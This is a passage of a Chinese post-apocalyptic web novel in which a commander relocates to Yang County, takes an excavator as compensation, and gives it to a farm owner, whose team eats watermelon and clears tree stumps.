拢共就他妈十个高级指挥官,最近两年还死了两个,因为人员素质不齐导致缺的这两个一直没人补上来。
二十万人挑出来的八个高级指挥官!
放着好好的兰城不待,非要跟着那群流浪汉、难民迁移去阳县挖矿!
这怎么不让人多想!
是谁逼走了赵弋?他走了以后S级的任务谁来接?真当他十万积分是挂名白嫖来的吗!想当初兰城发动人员清理周边丧尸时,积分计划刚刚执行,标准就是一个丧尸一个积分,年仅十五岁的赵弋主动请缨加入清理工作,一个月时间就成了熟练工,两个月就攒了六千多积分!
赵弋大部分积分都是靠着前些年清理丧尸,后来成年加入东区,则是靠高
等级任务奖励得来的,这一点,在一个多月前针对赵弋的调查行动中写的清清楚楚。
更重要的是,赵弋,赵千嶂独子!
一向保持中立的赵千嶂难道就不会因此迁怒他姚山从此倒向老严?
姚山两眼一黑,颤颤巍巍起身,问助理赵弋在哪。
助理:“还在东区。”
“备车,我去一趟。”
他现在能做的就是尽自己最大努力留下赵弋,挽回他的形象。
如果挽回不了,也要赵弋亲自说出口,他这次的决定跟之前针对他的调查无关,跟他姚山本人无关。
不然他真没办法跟赵千嶂交代,也没办法跟民众交代。
不过因此也有一个好消息。
高级指挥官一同迁移的消息不胫而走,一个下午的时间,迁移办又收到了十几张申请表,数量持续增加中,导致原本明日出发的大部队推迟了出发日期,改成了一周之后,给了迁移居民们充分的时间收拾行李。
***
赵家,家里阿姨正在给赵弋收拾行李,大中午的,赵千嶂跟唐璟都赶了回来。
赵千嶂心都碎了。
“是不是在兰城待的不自在啊?”他尽量心平气和地问。
家庭会议刚起了个头,门铃响,姚山跟老严同时到了。
赵千嶂一看见这俩气不打一出来,老严畏畏缩缩躲在稍年轻的姚山后头,露出又肥又宽的肩膀。
要说把赵弋推上风口浪尖这事跟他无关,老严再厚的脸皮也说不出这种话。
大家都不是傻子,事情走到这一步,两党相争,被当作出头鸟的这一个,是双方的共同决定。
一桌子三个老头还没坐下就开始扯皮,桌上最淡定的是赵弋本人,以及他亲妈唐璟。
唐璟从回家开始就是一副死了老公的寡妇表情,看谁都是一潭死水,包括她现任丈夫。
一番互相推卸责任后,姚山终于想起了这个当事人。
“其实迁移这事已经推迟,我们可以把手续……”
赵弋:“我会跟明早第一批的迁移部队一起出发,再说,事情都传出去了,总不可能又把我从名单上撤下来吧?”
姚山:“这消息今天早上才刚刚传到我耳朵,怎么一下子就全城都知道了?!”
老严默默低下了头。
作为保守派一员,原本他们就为自愿迁移居民人数过少而发愁,正好冒出这么个消息,引发了东区内部士兵甚至是兰城其他居民的骚动,直接将迁移人数翻了个倍……这种好事,他不顺水推舟难道还要拦着吗?
想到这一点的赵千嶂狠狠瞪了眼老严。
老严声音发虚:“既然……事已至此……不如我们商量一下补偿措施吧?”
老严跟姚山对了一眼。
姚山默认。
赵弋挑眉,“那我随便提了?”
“阳县那边只要能给的,我们能允许的范围之内,你提吧。”姚山说,反正阳县那边也没啥有用的,除了铁矿煤矿,难道赵弋还想将这两个矿占为己有?他们赵家也吃不下啊。
这一次阳县的铁矿煤矿开发工作主要是他们南区负责,这话也只能由他姚山开口。
一边的唐璟死人微活地端起茶杯喝了口茶,正想端起架子给自己儿子争取权利,还没说话,就听见她那不争气的儿子平静地说——
“我要一台挖掘机。”
姚山:“???”
老严:“???”
赵千嶂:“挖什么?要那玩意干嘛?你咋不要个近防炮!那玩意不比什么挖掘机好玩?!”
赵弋:“能不能给?”
姚山当机立断:“给!咱们工程部多的是那玩意!给你一台!油我包了!再给你安排两个工作人员,两班倒,你想挖哪就挖哪!”
“不用人,明天一起把挖掘机送到这个坐标就行。”赵弋手写一个坐标递了过去。
姚山彻底松了口气。
啥也没补偿的老严坐立不安:“那我呢?咱们东区就没你看得上的?新设计的近防炮不喜欢吗?”
“我……”
唐璟咬牙切齿,赶在儿子之前直接开口,“保留他兰城高级指挥官的职位,让赵弋负责阳县的工作。”
老严:“哪一项工作?”
“总指挥,”唐璟冷冷瞥了他一眼,“兰城有四个军事基地,阳县总不可能一直由这边调人,那边需要有自己的军事基地,我儿子,是最适合留在那边指挥的人。”
反正儿子都跑了,不如顺便给他加个官。
亲儿子赵弋表示拒绝:“我是去度假不是去工作的。”
这快两个月的工作已经让他够够的了。
唐璟冷哼一声,“那你就别想出兰城!”
赵弋沉默。
在限制儿子人身自由这件事上,一向体面的唐女士是可以没有任何体面的。
意思是,他妈是很有可能为了让他出不了兰城亲自去迁移办跟人扯皮的。
“这个……阳县那边的总指挥官人选已经确定了……我不能临时……”
“那你挺没用的,让他做副指挥,我儿子做总指挥不就行了?”唐璟嘲讽道。
老严虚心求教:“把原来的副指挥怎么办?”
唐璟翻了个白眼,“安排个人都办不下来,真不知道你东区总司令是怎么当的。”
老严:“……”
算了,反正那个副指挥有家庭有孩子本来就不想去阳县。
“我回去调整一下人员安排。”
补偿措施谈完,慈父赵千嶂还在那算账,唐璟已经把两位司令官送出门了,她倒是一脸轻松,甚至还有心情教育儿子。
“你去阳县总是会想做点事的,手里有了权力,你想做的事才能做成,”唐璟说,“到时候别说一台挖掘机,你让整个工程部跟着你,想挖哪就挖哪。”
唐女士轻松拿捏了儿子的七寸。
这话一出,赵弋明显就被说服了。
赵千嶂还是不能理解,“你要挖掘机干嘛?”
赵弋不想回答,“我上楼收拾东西了。”
赵千嶂扭头问唐璟:“他要挖掘机干嘛!”
唐璟翻了个白眼:“伴手礼。”
“什么伴手礼?”
“……没什么,最近实验室是不是在研究什么阿尔兹海默症,你要不做个贡献去试一试吧。”
“……”
这句话赵千嶂听懂了。
虽然他宁愿自己没听懂。
赵家没有什么告别晚宴,赵弋的东西不多,赵千嶂连夜打了几个电话确定了他儿子到阳县能分到最好的住处后心里也踏实了。
他自己安慰自己,反正阳县离兰城也不远,他还是可以隔三差五去看望自己儿子的,还有那什么火车好像要通了,那就更方便了。
第一批迁移阳县的人数是整五百。
优先选择住处的是以家庭为单位的居民,其次是兰城单身居民,最后是一部分源城难民。
至于士兵与军官,阳县原本就有军事基地,士兵住处就很容易解决了,军官们则是会被安排在一处居民楼,——这些资料已经提前由兰城接收,房屋分配也早就下了通告。
只是通告中并未说明房屋具体情况。
阳县的居民区结构是要比兰城好很多的,如果公布房屋情况,恐怕会有更多的人想要迁移,但……上头并不想让太多人迁移过去。
这是个纠结的问题,他们想要保障第一批吃螃蟹的人的福利,又不想大批兰城居民离开,他们希望把人数控制在一个可控范围之内,并且尽量不要引起兰城内部的骚动。
赵弋随着大部队在中午抵达了阳县,他的行李也被提前送到了他的“家”中。
是靠近军事基地的一处家属楼,这里应该原本也是军官们住的地方,只是这次明显人少楼多,把这批次来的军官房屋分配好之后还有不少空置房屋。
安全问题是首要问题。
其次是饮食。
他们还有第二批次第三批次居民要迁移过来,不可能采用原来
阳县的安保措施直接围铁丝网完事,只能先安排人员巡逻,这一部分早就已经计划好。
至于饮食,自然还是营养液先将就着。
今天一整天留给居民跟士兵收拾住处适应环境,并且在天黑之前会统计明日工作的人员数以及工作内容,——大多是阳县内部的清理工作,工作的人会拿到一定的积分作为“工资”。
不过阳县还有一个问题。
光亮。
通电需要时间,技术人员还在路上,最近几晚大家都只能摸黑工作,所以……需要蜡烛。
赵弋知道一个地方有蜡烛。
时候尚早,他挑了辆车准备出去一趟,他刚被分配的副官就跑了过来,询问他去哪,要不要司机。
赵弋不习惯这样有人盯着伺候,“不用,你忙你自己的,我晚上回来。”
副官:“……”
行吧,看来他的新上司挺随和的。
总指挥官一走,阳县依旧有条不紊地生动起来,新到来的人从一开始的疑惑变为适应。
这里是他们的新家,意料之外的位置空旷没有丧尸,看起来还很干净,周围也有士兵保护,似乎……比兰城要更舒适?
从阳县到农场,这条路赵弋已经熟悉,只是这一次没想到远远就看见了空旷的土地,满地都是树桩,等车驶近了,也没看见熟悉的铁丝网,已经改成了木头与铁丝做成的简单围栏。
看来时枌很听他的话,把农场往外扩了不少。
车声似乎并没引起屋内的动作,赵弋车停在栏杆前,摁了两下喇叭。
终于有人出来。
他那越发白白胖胖的副队秦丰手里抱着半个西瓜,大大咧咧穿着背心短裤,拎了一把竹椅放到门口一屁股坐下,瞬间爆发出杀猪搬的惨叫。
“叶枝蔚!你做的什么破椅子!它咬我屁股!!!”
赵弋很不耐烦的降下车窗,再次摁了两下喇叭。
秦丰抬头眯起眼一看:“哟!老赵来了!”
他一出声,果然又出来几个人,每个人手里都端着瓜,活像一群土拨鼠,眯起眼看着同一个方向。
太阳太晒,时枌穿了条米白色短袖布裙,拿手挡了挡,似乎看见了一个熟悉的人影。
熟悉的,身高腿长屁股翘。
“他怎么了?难道还要人请他进来吗?”时枌说。
叶枝蔚:“……好像是。”
还好,他们的好副队秦丰揉了揉被竹椅夹到肉的屁股,抱着西瓜高高兴兴地去迎接他赵队了。
就在秦丰领着赵弋过来这间隙,周霓脑中一个灵光一闪,“完了。”
骨头:“什么完了?”
时枌也不明白的看向她。
赵队已经走近,周霓神游天外般开口:“咱们现在一共八个人四间房住的刚刚好,赵队来了,住哪?”
一行人同时沉默了。
是啊,赵队来了,住哪?
时枌这里除了四间房,也就只剩下西边的工具房跟柴房,难道……
时枌火速扭头,“我去洗个勺子,你们跟他说吧。”
农场主人,跑了。
周霓也想跑,被骨头一把抓了回来,叶枝蔚继续沉默当个哑巴,张照照还没想明白,老老实实站在原地跟赵队打招呼。
察觉到现场气氛不对,赵弋直接问他:“刚刚在说什么?时枌怎么跑了?”
其实重点在第二个问题。
但张照照头脑有限,只听见了第一个问题,想都没想就把刚刚他们的话题总结汇报。
“在聊让赵队睡柴房呢。”
赵弋:“……”
第65章 第65章挖!掘!机!
时枌一队六人,在轨道附近待了足足二十天,期间清理了丧尸若干、雇佣兵若干、流民若干……
更大的收获是,时枌发现了不少她农场没有的作物。
比如黑色的树莓,油桃树,蟠枣树,成片成片的绣球花,某户已无活人人家花园中肆意生长的各种品种月季与百合等等。
对于其他人来说清理轨道是任务。
对于时枌来说,这些她农场急需的花草植物才是任务。
时枌作为狙击手,首要目标就是了解地形,所以现在她手表里存了所有路上碰到的植物坐标,回去路上她“收养”了一部分带回农场,但更多的,比如那座花园中超大的藤本月季,她没办法带走。
并不是因为植株太大无法带走,而是因为现在季节不对。
已经是夏天了,她农场里的西瓜都熟了,天气燥热,土地干旱。
夏天,是最不适宜移栽植物的季节。
所以时枌只能把他们留到秋天,等天气冷了再来挖。
回到农场后大家好好休息了几天,正好赶上农场瓜果成熟,一茬接着一茬吃都吃不完,再加上从山里捕来的野鸡也加入了鸡栏,鸡蛋产量上来了,这段时间他们一群人没少吃,尤其是秦丰,又不砍树又不劳作,每天往那一坐就是三缺一,人都胖了一圈。
变成了如今赵弋看见的模样。
圆润,肥胖。
洗完勺子回来的时枌抱着自己的西瓜,看他们几个把赵队迎进屋,若无其事地坐到了餐桌边,埋头吃瓜。
周霓:“赵队你也真是的,一声不吭就来了,也不打个招呼,咱们好提前备点好菜招待你呀~”
“是啊是啊,要不我这就去杀只鸡,正好炖我们采的菌子,给赵队好好补补身体,啧,赵队是不是瘦了?想我们想的吧哈哈哈。”骨头热闹凑进来说话。
赵弋看了一眼自己的队员们。
他本来以为送他们过来是当牛马,没想到一个个胖成这样,反而是时枌看着清瘦了不少。
这到底是怎么做到的?
赵弋自己都有些恍惚。
他本来就话不多,懒得跟他们一群人闲聊,拿出一份迁移的文件放到桌子上,让他们自己看。
“你们离开兰城太久,可能不了解最新的政策,先看看这个,再自己考虑办不办手续。”赵弋说。
队员们终于有事做,一人一张看资料去了。
“我这张怎么都是表格!给点带字的啊!”
“滚吧!我这张还是最后一页,就一个公章跟签名!到底说的啥啊!”
“一群蠢货!就不能按顺序看吗!抢什么抢!干活的时候怎么不跟老娘抢!”
听到政策,一边一直没说话的白芳终于等到赵队空闲,主动询问起阳县的情况来。
“第一批驻军跟迁移居民已经到阳县,你的房子我给你打了申请,已经保留下来了。”
白芳感激道:“谢谢赵队,那我……能跟你一起回阳县吗?能不能给我几天时间,我得收拾东西,还有时枌家里有些事……”
被点名的时枌:“啊?我无所谓的,你说了要回阳县,这个我知道,你收拾东西吧!”
一边的糯糯倒是颇为留恋地看着时枌,那表情可怜巴巴的。
糯糯也跟着大家一起胖了起来,现在也是个跟阳阳一样胖乎壮实的小女孩了,她依恋白芳,但又舍不得时枌。
“枌枌,舍不得。”糯糯揪着时枌的裙摆,听声音都要哭了。
赵弋:“她会说话了?”
这话是看着时枌问的。
正在吃瓜的时枌:“哦,她慢慢学会了,还只会短句子。”
时枌把糯糯拉过来坐到自己长凳上,安慰道:“没关系,有机会你也可以来我这里玩的。”
白芳也有些犹豫。
阳县那边的情况她不了解,也不知道糯糯能不能适应那边,更何况糯糯在这里已经有了好朋友烈烈跟阳阳,她的情况在好转。
那么她有必要因为自己的私心,也带着糯糯一起走吗?
可是糯糯留下来的话,时枌自己都是个小姑娘,要怎么照顾一个十二岁的孩子?
她没有任何道理要求时枌把糯糯留在农场。
当断则断,做人不能既要又要。
白芳看向糯糯,低声安抚:“糯糯,现在阳县跟以前不一样了,会有像哥哥姐姐这样的士兵保护我们,我们也能重新住回楼上,我会找一份工作,赚的积分一半养
你一半攒下来还给时枌姐姐。”
“我知道你很舍不得烈烈跟阳阳,但是糯糯,你长大了,你会说话了,不能再这样自己缩起来了,你得学更多的东西,学着怎么在这样的世界生存,不要成为别人的拖累,可以吗?”
糯糯贴着时枌沉默半晌,而后点了头。
她现在不懂,但她知道白芳会给她做正确的选择,她愿意听白芳的话。
“那我们今晚就收拾东西,赵队您什么时候回阳县?”白芳问。
赵弋:“天黑之前。”
时间有点着急,但白芳还是应下来了。
她的东西不多,收拾起来也很快,至于糯糯……
“你现在可以去找烈烈跟阳阳道别,还有一个下午的时间。”白芳说。
“嗯。”糯糯点了头。
农场中分分合合再寻常不过,时枌已经能够适应,只是自己吃着瓜,再看看另一边讨论政策的其他人。
上个清理轨道的任务也完成了,期限两个月即将到期,周霓他们也需要斟酌接下来要怎么办。
“阳县前六个月取消每月十个积分,免费入住,”骨头念叨着,“那我们之前在东区的待遇福利会有变化吗?”
“看你们自己选择,之后阳县会成立自己军事基地,必然跟兰城不一样,我只能说,阳县现在的情况就是:先到先得。”赵弋看了眼时枌手里的瓜,然后发现这个屋子里就他手里没有,格格不入。
时枌也发现了,以为他是馋瓜。
可是屋子里的四个瓜八个人正好一人半个没有多的,时枌最近胃口不佳,少食多餐,大部分时间都不是很饿,看他这么馋,就好心用勺子挖了一大块递过去。
赵弋愣了下,捏着勺子把瓜带过来吃了。
时枌:“你拿我勺子干嘛,拿瓜啊!”
赵弋:“……哦。”
他脑抽了,然后把勺子还了过去。
时枌奇奇怪怪看着他,“算了,我还剩一半,给你了。”
然后连瓜带勺子一起推了过去。
反正她已经吃好了。
“如果我们选择迁移那我们在兰城的积分会保留吗?那我在兰城的房子……”周霓正在研究政策,一抬头发现桌上似乎不太对。
时枌的瓜跑到赵队手里了。
赵队吃剩瓜还吃的津津有味。
难道是因为末世资源稀缺……放屁,这俩明显不对劲。
“积分保留,房子回收,阳县会重新分房。”赵弋说。
骨头已经下了决定,“反正我在兰城无亲无故,本来就是外地人,我要迁移到阳县,以后跟赵队混!”
赵弋能到这里来已经说明问题了。
与其在兰城那个烂泥堆里混日子,不如趁着还年轻跟着赵队来阳县好好干,这边一切都是从头开始,往大了说,这可不就是明晃晃的开国之功嘛!
秦丰跟叶枝蔚也商量了一下,秦丰问赵弋:“这边分的房子……”
“比兰城好,你的军衔,住家属区。”赵弋回。
听见家属区三个字秦丰两眼放光,“真的?!”
放在兰城,那些位置空旷的家属区都是给高官们住的。
“真的。”家属区空了一大片房子不是留给他们的能是留给谁的?
周霓还有顾虑,“但是阳县的情况……会像兰城一样修建高墙保护起来吗?”
“不会。”
兰城的高墙前期是为了防卫丧尸而建的,到了现在这个情况丧尸已经不是他们的第一威胁,而且先前他们就勘测过,阳县附近几乎没有丧尸。
那么就不需要再耗时耗力修建高墙。
周霓担忧的是安全问题。
她在犹豫。
骨头却推了推她胳膊:“这有啥,咱们一起住阳县也能有个照应,咋了,怕丧尸大半夜翻墙爬楼上来把你抓咯!”
周霓:“……”
也是,大家都在也能有个照应,反正她在兰城也是无亲无故。
反倒是在兰城有亲有故的秦丰先做了决定。
“给我留套带院子的好房子啊,嘿嘿。”秦丰笑呵呵,“不过我得回兰城一趟,跟我爸妈好好说说。”
至于叶枝蔚:“我也要回去一趟,问问我妈妈。”
她妈妈前些年改嫁,又生了一个弟弟,母女俩关系……只能说不常来往,不比从前,毕竟妈妈已经有了自己的家庭。
这么一算,不管是迁移的不迁移的,都得动起来了。
迁移的要回保护区办手续,不迁移的也得回去汇报任务。
时枌:“那我不用去吧?”
她一个驻外人员,顶头上司就在这,汇报任务不是很简单的事吗?
“不用。”赵弋说。他也没多问时枌愿不愿意去阳县,反正也是白问。
不过……
他还想说什么但他们已经起身去收拾东西了,时枌被周霓叶枝蔚拽上楼。
二楼时枌靠着阳台看外边明晃晃的太阳,太阳下的柏油路,以及门口停着的那辆熟悉的越野车,身后是周霓跟叶枝蔚收拾东西的动静,她俩一边收拾东西一边拉着她聊天。
时枌时不时应一声。
直到下午,时枌睡了个午觉再出来,隐约看见柏油路上出现了一个大家伙,正朝着自己农场的方向驶来。
大家伙“坐”在一辆卡车上,长着一条长手臂,通身黑黄色涂漆,行走时动静很大,越近身形越明显。
时枌屏住呼吸,眼睛缓缓瞪大。
挖!掘!机!
第66章 第66章她没脸见人了。
“我去,那什么玩意?!”
“……赵队真的,什么都干得出来啊。”
“啊不是!这玩意能随随便便出现在这里吗?符合常理吗??东区没人管吗???赵队手段通天呐!”
“枌枌是不是高兴傻了?”
挤在二楼阳台的周霓跟叶枝蔚看着呆若木鸡的时枌,同时露出了担忧的表情。
叶枝蔚:“我觉得是沦陷了。”
然后就看见时枌爆发出一阵尖叫,原地蹦了起来,哒哒哒往楼下跑,速度比开饭快多了,很快就出现在一楼前院,叶枝蔚眼睁睁看着她拉着赵队两眼放光。
周霓:“……好像是沦陷了。”
没有什么比一台挖掘机给时枌带来的震撼更大了。
如果有的话,就再加一个免费赵队。
等叶枝蔚跟周霓下楼的时候,那辆挖掘机已经被人从卡车上开了下来,稳稳当当停在了时枌刚扩建的马场旁边,而张照照明显是第二激动的那个,拉着运挖掘机的工作人员问了半天,给人家都问烦了才放人走。
太阳这么晒,大夏天的,他们整整齐齐站在日头下,围观挖掘机。
骨头上手去摸:“卧槽,真家伙啊。”
挖掘机并不是全新的,有点使用痕迹了,铲斗跟履带里面都有干泥巴,机身也有油漆剥落,但这也正常,毕竟这年头基本都是旧的,再造难度太大,有的用都不错了。
张照照已经迫不及待想要上去玩了,结果爬上去操作室才发现没有钥匙。
挖掘机钥匙小小一个,连同操作指南一起,赵弋都给了时枌。
时枌正在学习如何操作挖掘机。
但最重要的是……
“所以它烧柴油?柴油我去哪找?”时枌扭头问身旁的人。
“先放了两桶,用完跟我说,我给你运过来。”赵弋说。
毕竟这台挖掘机,包油。
“哇哦……”时枌已经彻底折服。
有了这台挖掘机,她不仅能开更多的地,还能把地里的树桩统统挖出来,同时平整地面,鬼知道他们之前为了挖树桩吃了多少苦头。
这里的树根深蒂固,根系比时枌胳膊还粗,凭借人力只能先挖,把根露出来,再用刀砍用斧剁,斩断树根,最后得好几个人一起费大力气才能吧树桩拔出来,就这一套流程,干趴了骨头干趴了张照照,就连秦丰都不想干。
时枌看完操作指南,撸起袖子,开干。
管他现在什么天气,她先玩玩再说。
挖掘机学起来还是挺方便的,时枌之前就学了怎么开车,现在简单看了看大概心里有了数,就带着操作指南爬进操作室。
周霓怕晒 ,站在门口桃树下学着孙悟空似的看着时枌爬了上去,身边的叶枝蔚手里刚摘了个红彤彤的番茄啃了一口,感觉味道不错酸酸甜甜,就又多摘了几个给其他人分一分。
最近院子里的番茄大面积成熟,吃都吃不过来,时枌不想浪费,每天不仅给罗辉家送,还逼着他们天天吃。
秦丰他们几个大男人不爱吃番茄,更喜欢啃黄瓜,但叶枝蔚却很喜欢吃,听说吃番茄可以美白之后周霓也跟着吃了起来。
叶枝蔚拿着番茄递给时枌。
挖掘机启动后声音还是很大的,轰隆隆,一开始叶枝蔚叫她她根本没听见,时枌注意到有人接近才赶紧熄了火。
接过番茄,叶枝蔚看她脸都热红了,问她要不要水。
时枌摇摇头,“不了,我先熟悉一下,一会儿就下去。”
叶枝蔚就不打扰她继续玩了。
时枌重新来过。
先摁一下摁钮,再长按点火,发动之后整个操作室都跟着颤颤悠悠,时枌已经熟悉这种颠簸,然后开始回忆操作指南上的内容。
哦对,手刹得放。
虽然她上次点火后就已经放了,看来是她又搞忘记拉手刹了。
“同时推前进,同时后拉后退,左转……右转……左旋……右旋……”
就看见时枌操作着挖掘机在平地上前前后后,挖掘机的大爪子也前前后后左左右右的跟着动作。
几个没挖掘机玩的只能眼巴巴趴在院墙上看时枌玩儿。
虎子大熊还有三只小狗也长大了不少,隐约有点尴尬期的感觉了,大熊昂首挺胸注意着马场旁边那个大家伙,虎子正扒拉着一块西瓜皮,也不吃,干玩,玩得爪子上都脏兮兮的。
赵弋坐在屋檐下,手里掰了一块西瓜正在喂三只小狗,但主要是偏心老四,老二老三都是随手喂喂,不过农场的狗最近吃瓜都吃腻了,过了那个稀罕劲,也不怎么想吃,纯粹是喜欢西瓜咬起来脆脆的感觉,老四咬得乱七八糟,还给赵弋咬了一手的西瓜混口水,怪恶心的,赵弋也没惯着它,拿他当抹布擦了擦手,又给自己粘了一手的狗毛,才进去洗手。
旁边虎子看见自己儿子这么被“糟蹋”还朝着赵弋鼻孔出气表示不满。
“赵队哪搞来的挖掘机啊?”张照照一脸羡慕地问。
“南区那边送的。”
“说送就送啊?怎么不早点来,那我们就不用辛苦砍树了。”秦丰抱怨。
赵弋看了眼圆润的秦副队,“你?辛苦?你的作战服还穿得下吗?”
秦丰:“……”哦对,他还要申请一套大一号的作战服。
骨头脑筋一转,“这挖掘机就送时枌啦?”
同时八卦的朝着周霓挤眉弄眼。
赵弋:“嗯。”
“为啥送她啊,我也想玩啊。”曾经的老幺张照照开始不要脸皮地撒娇。
赵弋:“她找我要了。”
连发好几条消息,找他要牛马,找他要挖掘机,把他当成神灯似的许愿,结果牛马们送到了她也没回个消息,至于挖掘机,他一开始确实搞不到,也不好意思回她的消息,现在直接送上门了,她看着……应该是很高兴。
周霓阴阳怪气:“她要进你就给啊,万一下次她想要天上的星星呢?”
赵弋认真思考后回答:“……源城那边确实有几颗卫星的控制权。”
周霓:“……”
骨头:“……”
叶枝蔚:“……”
谁说赵队保守的?这可太保守了。
张照照:“卫星有啥意思,我就喜欢挖掘机,实在不行赵队给我发一台加特林行不行?”
秦丰:“我不要别的,一套大码作战服就行。”
赵弋冷漠:“梦里什么都有。”
眼见着时枌已经开始挖树桩,吭哧吭哧挖了半天挖起了一个,挖掘机挂着树桩停留半天,周霓反应过来她这是在炫耀,立马举起双手开始鼓掌,鼓完掌又伸出大拇指,大喊“枌枌真棒!”不知道时枌听见没有,反正她把树桩放下,去挖下一个了。
“这片地估计两三天就能挖完吧?之前时枌还一直念叨说树桩太丑,啧啧,这下完美解决。”秦丰叼着根黄瓜啃,——刚顺手在园子里摘的。
这个季节新鲜瓜果一应俱全。
“赵队吃不吃甜瓜?一会儿我做个水果拼盘。”秦丰殷勤问。
骨头:“谁他妈水果还做拼盘啊!你也太卷了!”
“哼,你懂什么!”秦丰拉过来一个垃圾桶,“果皮别乱扔,时枌说了要留着堆肥,这年头一眼望不到丧尸,肥都没得沤,谁还信这是末世啊?”
大家纷纷把手里的果皮扔进专门的果皮垃圾桶。
就这样,下午一下子就晃过去了。
秦丰一看时间,又到了做晚饭的时候。
天气太热,大家都没什么胃口,吃的不多,秦丰最近也做的都是些凉拌菜,什么凉拌黄瓜糖拌西红柿的,昨天罗辉家杀了头牛他去卤了牛肉顺便拎了点回来,今天就再凉拌个牛肉,炒个青菜炒个土豆丝喝点稀饭完事。
就是凉拌牛肉没有香菜,让秦大厨很不得劲。
他迟早要在时枌农场里种上香菜。
周霓:“咱们什么时候出发去保护区?任务结束日期还有三天呢,按照原计划三天后回去,还是改计划现在出发?”
叶枝蔚看了看远处的时枌,“三天后吧,多呆几天,我还有一张麻将桌没做好。”
他们隔三差五就要厮杀,嫌弃小方桌太小,长餐桌太长,缺一张真正的麻将桌,求着叶枝蔚做了出来,叶枝蔚先做好了一套四个带靠背的椅子,桌子费了点功夫,因为得做装钱的小抽屉,所以现在还没做完。
“我柴房的柴还没劈完呢,等两天呗。”张照照说。
“我不着急。”骨头也说。
“我也不着急,诶,挖掘机怎么倒了?”周霓声音一扬,旁边还坐着逗狗的赵弋一下子起身,快步朝着挖掘机的方向跑过去。
骨头:“翻车啦?人没事吧?”
几人也担心时枌出事,拿着手里的瓜啊果的上前去帮忙。
赵弋先到,发现挖掘机歪进了一边挖出来的一个大坑,大坑旁边还歪着一个足足三人合抱粗细的树桩,估计是时枌把这个大树桩挖出来,没注意碾了上去,坑太大,半边履带陷了进去,导致歪车了。
挖掘机轰轰隆隆的动静太吵,说话也听不清,赵弋踩着没动的履带翻了上去,拉开车门,正对上歪在另一边车门的时枌正在扒拉自己身上的安全带,看见他就伸了条胳膊想让他拉自己。
她在车内捂了半天,热的脸上通红,又没开窗,一脑门的汗,看样子都快中暑了。
开门后大股空气涌进来,时枌缓了过来。
赵弋一手拉着门框,一脚踩着操作室的边沿一脚踩在外边履带上,半个身体探进去,先越过她去熄了火,轰隆隆的动静就停了。
时枌猝不及防面前出现一片下弯的脊背,短发擦过她通红的脸颊,咔哒一声,安全带也解开,她原本被安全带拽住的身体就不受控制往下滑,时枌一个机灵,两手扒拉着面前的肩膀就拽住了自己。
车是歪的,赵弋以为她被吓到,抬手拍了拍人后背表示安抚,顺势就着这个姿势俯身弯腰,用肩膀顶着人小心翼翼把人弄了出来。
将近三米的高空,时枌挂在人肩膀上,晕乎乎的一抬头,还没来得及感慨今天的风真凉快啊,就看见底下整整齐齐吃瓜群众仰头看着自己。
时枌:“……我没死。”
周霓啃了口西红柿,“看出来了。”
“没有人会因为开挖掘机翻车死掉的!”时枌有点恼羞成怒了。
周霓:“是是是,开挖掘机怎么会死人呢,最多就是掉沟里等着被人救出来而已啦。”
时枌:“……”
她没脸见人了。
她跟一麻袋小麦似的,被赵队抗在肩膀上,晃了两下,在赵队找准落脚点后两步落地,红彤彤地站在地上。
第67章 第67章这才七月份就这么难熬了……
事实证明大夏天最好还是不要长时间玩挖掘机。
赵弋上去重新点
火发动,用铲斗抵着地面支撑,然后把挖掘机开了出来,操作熟练,姿态平稳,停在时枌保留的那棵大樟树下遮荫。
时枌才知道,原来挖掘机的铲斗也不只是能挖坑的。
她还得好好研究。
夏天除了高温就是漫长的白昼,这个季节到晚上七八点天还是亮的,大家吃完饭就躺院子里桃树下挺尸。
时枌还是年轻,没中暑,歇一会儿洗个澡就缓过来了。
习惯了物资丰富每天都能吃到新鲜的蔬菜瓜果偶尔还有肉,大家对于食物已经没了在保护区的那种渴望,反而因为时枌催促他们要尽快解决院子里的瓜而变得麻木,实不相瞒,张照照吃番茄都快吃吐了。
叶枝蔚给时枌家里新做了两张大床,替换了一楼两个房间里的床,而且男寝里面还是上下铺那种,于是白芳屋子里之前做的竹床就被搬了出来,放在一楼客厅靠墙立着,每天晚上太阳下山天气凉快了就搬出来放到院子里大家坐着乘凉。
秦丰今天非得要睡桃树下,说什么有情趣,时枌就很自觉,躺到叶枝蔚专门给她做的躺椅上,不去凑那个热闹。
秦丰骨头张照照就跟大傻子似的,横七竖八躺在竹床上,仰头看着挂满果子的桃树,悠闲得很。
直到一条毛虫掉到秦丰脸上,把他吓得从竹床上弹了起来。
时枌:“所以我说不要睡在树下。”
尤其是夏天。
还是容易生虫的桃树下。
秦丰一巴掌拍死了毛虫,骂骂咧咧,“这么多虫时枌你也不管管,到时候桃子熟了都便宜了它们,你吃啥?”
时枌:“这年头又没有农药,我能怎么办,自己上手抓吗?”
末世就这点不好,农药这种稀缺资源不是随随便便能搞到的,前些年时枌家里还有些存货,但耐不住她家大业大的,那点存货也很快就消耗了。
之后她的菜地可以用生石灰或者草木灰来杀菌防虫,但始终不能根绝,也很容易复发。
不过也不是没有办法保护果子。
就是累,要用报纸把果子一颗颗包起来,防止虫子钻进去吃,这事时枌小时候跟着爷爷奶奶干过,后来干脆就放弃了。
反正这棵树结的果子也吃不完,他们吃一点,鸟吃一点,虫子吃一点,都很公平,偶尔吃桃发现虫子也不会大惊小怪。
一群人默不作声躺了会儿,发现糯糯回来了。
糯糯今天去罗辉家跟阳阳告别,他们估计她不会回来吃饭,到饭点没看见她回来,他们也就不去催了。
现在过了饭点糯糯自己回来,高高兴兴的,看样子没哭过,应该就是好好道别了。
眼看着天就要黑,秦丰看了眼边上不动如山的赵队,又看看白芳,随口问:“白芳你东西收拾好了没?”
白芳点头,“我的东西不多,都收拾好了。”
骨头:“要不我帮你放车上去?”
周霓翻了个白眼,“你催人家走是什么意思?”
骨头:“我不是这个意思……算了,是我多嘴,白芳你别多想。”
他们可以在这里多留几天,但赵队说了今晚要回阳县,那么想必白芳也只能今晚顺便坐赵队的车回去,以白芳的性格也不会矫情到非得让人来接。
但赵队这不动如山的,晚饭都吃完了,天也快黑了,怎么还不提出发的事?
搞得怪尴尬的。
过了会儿,赵弋终于开口问时枌:“你这边有多少蜡烛?”
时枌靠在躺椅上,“地窖里有两箱,你要用?”
“阳县那边晚上需要。”
时枌看了眼旁边的挖掘机,心想一台挖掘机比蜡烛可要珍贵的多,他想要就给他吧,又想到现在阳县有了人,那她这边多余的瓜果蔬菜……时枌一个激灵爬了起来。
